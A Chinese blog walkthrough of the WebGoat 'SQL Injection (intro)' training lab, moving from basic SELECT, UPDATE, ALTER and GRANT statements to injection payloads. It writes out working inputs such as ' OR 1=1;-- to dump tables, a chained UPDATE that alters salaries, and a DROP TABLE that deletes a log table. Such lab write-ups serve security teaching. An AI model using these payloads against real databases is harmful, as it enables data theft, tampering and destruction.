• WebGoat通关攻略之 SQL Injection (intro)


    SQL Injection (intro)

    1. What is SQL?

    在这里插入图片描述本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department

    SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'
    
    • 1

    在这里插入图片描述
    成功通关!

    2. Data Manipulation Language (DML)

    在这里插入图片描述
    本题练习的是Update 修改数据,将Tobi Barnett的department改为‘Sales

    UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'
    
    • 1

    在这里插入图片描述
    成功通关!

    3. Data Definition Language (DDL)

    在这里插入图片描述
    本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列

    ALTER TABLE employees ADD phone varchar(20)
    
    • 1

    在这里插入图片描述
    成功通关!

    4. Data Control Language (DCL)

    在这里插入图片描述
    本题练习的是数据控制语句,需要授予用户组 “UnauthorizedUser”更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权

    GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;
    
    • 1

    在这里插入图片描述
    成功通关!

    5. What is SQL injection?

    在这里插入图片描述
    练习的是SQL注入
    在这里插入图片描述

    "SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";
    
    • 1

    6. Try It! String SQL injection

    在这里插入图片描述
    字符串型SQL注入讲解,执行的SQL语句是:

    SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'
    
    • 1

    上述SQL语句的意思是:从user_data表中,寻找first_name=‘john’,且last_name='Smith or 1=1’的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。

    看到能输入or 1=1,是不是应该有一种使"where"后面出现“xxx or 1=1”的冲动,因为“where xxx or 1=1”这句话,不就跟没得条件一样吗,1=1是恒成立,“xxx or 1=1”恒成立。

    那么我们可以这样输入:
    在这里插入图片描述
    如此填写之后,要执行的SQL语句,就会变成这样:
    在这里插入图片描述
    红框中的内容都变成了字符串,那么SQL语句就变成了:

    SELECT * FROM use_data WHERE first_name=‘XXX’ or ‘1’='1’这种形式,也就是where后面相当于没条件了。提交数据,可以看到:
    在这里插入图片描述
    成功通关!

    7. Try It! Numeric SQL injection

    在这里插入图片描述
    本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id

    原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。

    SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1
    
    • 1

    在这里插入图片描述
    成功通关!

    8. Compromising confidentiality with String SQL injection

    在这里插入图片描述
    本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据

    Employee Name:Smith
    Authentication TAN:3SL99A' OR 1=1;--
    
    • 1
    • 2

    在这里插入图片描述
    成功通关!

    9. Compromising Integrity with Query chaining

    在这里插入图片描述
    本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点

    Employee Name:Smith
    Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--
    
    • 1
    • 2

    在这里插入图片描述
    成功通关!

    10. Compromising Availability

    在这里插入图片描述
    本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可

    我们可以先SELECT一下查看表中都有什么:
    在这里插入图片描述

    3SL99A' OR 1=1;DROP TABLE access_log;--
    
    • 1

    在这里插入图片描述
    成功通关!

  • 相关阅读:
    Spring Cloud Function Spel表达式注入
    PostgreSQL索引篇 | BTree
    MSYS2介绍及工具安装
    新的类功能 --- c++11
    electron 左上角图标 dev(开发环境)可显示 build(打包)后无法显示
    USB插座外壳接地的处理和emi,esd考虑
    写爬虫?前端er何必用python
    Java基础:Collection、泛型
    全网首发 史上最容易的 mysql 数据库性能测试监控平台手把手搭建
    WPS或EXCEL表格单元格下拉快捷选择项修改及设置方法
  • 原文地址:https://blog.csdn.net/weixin_45014379/article/details/134459576